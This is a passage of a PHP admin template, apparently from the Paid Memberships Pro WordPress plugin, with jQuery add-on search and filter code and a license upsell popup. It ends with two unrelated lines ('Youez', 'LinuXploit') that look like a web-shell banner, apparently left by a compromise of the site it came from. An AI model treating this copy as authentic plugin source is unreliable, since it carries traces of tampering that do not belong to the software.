						const addonsSearchableDescription = $(element).data(`search-${filter}`).toLowerCase();
						return searchTerms.some((term) => addonsSearchableDescription.includes(term));
					});

					if( filteredItems.length > 0 ) {
						filteredItems.show();
						$('#pmpro-no-add-ons').hide();
					 } else {
						$('#pmpro-no-add-ons').show();
					}
				});

				/**
				 * Handles clicks on filter addons links.
				 */
				$('.filter-links li a' ).click( function(e) {
					// don't want to jump to #
					e.preventDefault();

					var views = $( this ).closest( '.filter-links' );
					var view = $(this).data('search');
					var view_items = $(`[data-search-${view}]`);
					var view_val = $(this).data('view');

					// Update the URL hash.
					$( this ).attr( 'href' ).replace( /#/, '' );

					// Unstyle view links
					views.find( 'li a' ).removeClass( 'current' );
					$( this ).addClass( 'current' );
					views.find('.addons-search').hide();

					// Clear the search input, if full.
					jQuery( '#search-add-ons' ).value = '';

					// update the URL
					if ( history.pushState ) {
					    history.pushState( null, null, '#' + view_val );
					} else {
					    location.hash = '#' + view_val;
					}

					if ( view_val != '' ) {
						view_items.hide();
						$(`[data-search-${view}*="${view_val.toLowerCase()}"]`).show();
					} else {
						view_items.show();
					}

				});

				// check if we should switch Add On content on page loads
				$( 'a[data-toggle="view"][href="' + window.location.hash + '"]' ).click();

			});
		</script>
	</div> <!-- end pmpro-admin-add-ons -->
	<div id="pmpro-popup" class="pmpro-popup-overlay">
		<span class="pmpro-popup-helper"></span>
		<div class="pmpro-popup-wrap">
			<span id="pmpro-popup-inner">
				<a class="pmproPopupCloseButton" href="#" title="<?php esc_attr_e( 'Close Popup', 'paid-memberships-pro' ); ?>"><span class="dashicons dashicons-no"></span></a>
				<a title="Paid Memberships Pro - Membership Plugin for WordPress" target="_blank" rel="noopener noreferrer" href="https://www.paidmembershipspro.com/pricing/?utm_source=plugin&utm_medium=pmpro-addons&utm_campaign=pricing&utm_content=pmpro-popup"><img src="<?php echo esc_url( PMPRO_URL . '/images/Paid-Memberships-Pro.png' ); ?>" width="350" height="75" border="0" alt="Paid Memberships Pro(c) - All Rights Reserved" /></a>
				<h1><?php printf(__( 'Get %s and more with a %s license.', 'paid-memberships-pro' ), '<strong id="addon-name"></strong>', '<strong id="addon-license"></strong>' ); ?></h1>
				<p><a class="button button-primary button-hero" href="https://www.paidmembershipspro.com/pricing/?utm_source=plugin&utm_medium=pmpro-addons&utm_campaign=pricing&utm_content=pmpro-popup"><strong><?php esc_html_e( 'View Plans and Pricing', 'paid-memberships-pro' ); ?></strong></a></p>
				<p><?php printf(__( 'Already purchased? <a href="%s">Enter your license key here</a>', 'paid-memberships-pro' ), admin_url( 'admin.php?page=pmpro-license' ) ); ?></p>
			</span>
		</div>
	</div> <!-- end pmpro-popup -->
<?php
	require_once(dirname(__FILE__) . "/admin_footer.php");
	wp_print_request_filesystem_credentials_modal();

Youez - 2016 - github.com/yon3zu
LinuXploit